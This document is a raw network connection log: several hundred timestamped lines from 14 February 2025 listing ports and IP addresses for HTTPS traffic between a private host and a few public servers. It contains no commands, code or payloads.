Feb 14, 2025 17:23:01.315814018 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.315836906 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.315851927 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.315998077 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.316044092 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.316137075 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.316162109 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.316189051 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.316198111 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.316210032 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.316263914 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.316304922 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.316314936 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.316580057 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.316991091 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.317018032 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.317043066 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.317055941 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.317086935 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.317106009 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.398354053 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398375034 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398462057 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.398484945 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398499012 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398549080 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398551941 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.398577929 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398597956 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.398865938 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398880005 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.398947001 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.398962975 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399146080 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399159908 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399209023 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.399219036 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399245024 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.399625063 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399641037 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399691105 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.399707079 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.399733067 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.400048971 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400070906 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400142908 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.400156021 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400525093 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400541067 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400597095 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.400619030 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400825977 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400840044 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.400891066 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.400907993 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.446702003 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.446736097 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.494710922 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.516865015 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.516890049 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.516969919 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.517007113 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.517041922 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.517060995 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.517093897 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.517106056 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.517117977 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.517144918 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.517151117 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.517220974 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.517335892 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.517669916 CET	49722	443	192.168.2.16	188.114.97.3
Feb 14, 2025 17:23:01.517690897 CET	443	49722	188.114.97.3	192.168.2.16
Feb 14, 2025 17:23:01.536413908 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:01.536459923 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:01.536645889 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:01.536851883 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:01.536870956 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:01.539393902 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:01.539438963 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:01.539510012 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:01.539813042 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:01.539830923 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:01.541168928 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:01.541198015 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:01.541469097 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:01.541659117 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:01.541675091 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:01.891673088 CET	49680	80	192.168.2.16	192.229.211.108
Feb 14, 2025 17:23:02.020797968 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.020869970 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.021116018 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.021136045 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.021250963 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.021277905 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.022207022 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.022283077 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.022375107 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.022443056 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.023305893 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.023442030 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.023511887 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.023581982 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.023638964 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.023710012 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.023715973 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.026402950 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.026638985 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.026643991 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.027662039 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.027721882 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.028594017 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.028656006 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.028747082 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.028750896 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.066698074 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.066723108 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.066756964 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.082736969 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.114684105 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.120395899 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120474100 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120512009 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120541096 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120573997 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120587111 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.120599031 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120611906 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.120649099 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.120656013 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.120946884 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.121016026 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.121022940 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.121438980 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.121495962 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.121504068 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.129911900 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.130383015 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.130394936 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.158061028 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.158134937 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.158463001 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.158524990 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.158550024 CET	443	49734	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.158561945 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.158665895 CET	49734	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.159961939 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.159976006 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.160010099 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160022020 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.160043955 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160063982 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.160073042 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160095930 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.160119057 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.160123110 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160132885 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160176039 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.160250902 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160311937 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160366058 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.160370111 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.160664082 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.160679102 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.165199041 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.165263891 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.165271997 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.165313005 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.165386915 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.165391922 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.177666903 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.209733009 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.210155010 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.210170031 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.210191011 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.210201979 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.210211039 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.210231066 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.210246086 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.210299969 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.210329056 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.212038040 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.212045908 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.212083101 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.212136984 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.212142944 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.212163925 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.212183952 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.241692066 CET	49678	443	192.168.2.16	20.189.173.10
Feb 14, 2025 17:23:02.246186018 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.246340036 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.246373892 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.246407032 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.246428967 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.246436119 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.246464014 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.246483088 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.246568918 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.246968031 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247028112 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247061014 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247092962 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247117996 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.247128963 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247138977 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.247915983 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247948885 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247971058 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.247975111 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.247984886 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.248032093 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.248039007 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.248064041 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.248105049 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.248109102 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.248531103 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.248986959 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249042034 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249078989 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249088049 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.249098063 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249133110 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.249136925 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249167919 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249201059 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.249205112 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249279976 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.249320030 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.249527931 CET	49735	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.249543905 CET	443	49735	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.261044025 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.261095047 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.261174917 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.261383057 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.261395931 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.297561884 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.297591925 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.297738075 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.297761917 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.298012018 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.298525095 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.298543930 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.298609972 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.298618078 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.298741102 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.300905943 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.300976992 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.300986052 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.301001072 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.301048040 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.301429033 CET	49733	443	192.168.2.16	151.101.66.137
Feb 14, 2025 17:23:02.301441908 CET	443	49733	151.101.66.137	192.168.2.16
Feb 14, 2025 17:23:02.315466881 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.315502882 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.315581083 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.315800905 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.315813065 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.636384964 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.636687994 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.636712074 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.637057066 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.637561083 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.637629986 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.637809992 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.679322004 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.753355980 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.754000902 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.754010916 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.755109072 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.755172014 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.755759954 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.755827904 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.755831003 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.769201040 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.770251989 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.770277977 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.771759987 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.771832943 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.772186041 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.772281885 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.772322893 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.799350023 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.800703049 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.800719023 CET	443	49742	104.17.25.14	192.168.2.16
Feb 14, 2025 17:23:02.801444054 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801501036 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801538944 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801577091 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801589012 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.801599026 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801631927 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.801670074 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801707983 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801714897 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.801723003 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.801773071 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.801780939 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.802861929 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.802900076 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.802951097 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.802958012 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.803955078 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.815346003 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.816694975 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.816710949 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.848735094 CET	49742	443	192.168.2.16	104.17.25.14
Feb 14, 2025 17:23:02.864687920 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.922182083 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.922216892 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922278881 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922327042 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922346115 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.922378063 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922421932 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.922430992 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922804117 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922846079 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922863960 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.922872066 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922914982 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.922923088 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.922991991 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.923002005 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.923032045 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.923044920 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.923054934 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.923069954 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.923109055 CET	443	49743	151.101.194.137	192.168.2.16
Feb 14, 2025 17:23:02.923126936 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.923126936 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.923166990 CET	49743	443	192.168.2.16	151.101.194.137
Feb 14, 2025 17:23:02.923614025 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.923655987 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.923672915 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.923685074 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.923724890 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.923772097 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.923785925 CET	443	49741	104.18.94.41	192.168.2.16
Feb 14, 2025 17:23:02.923855066 CET	49741	443	192.168.2.16	104.18.94.41
Feb 14, 2025 17:23:02.924534082 CET	443	49741	104.18.94.41	192.168.2.16
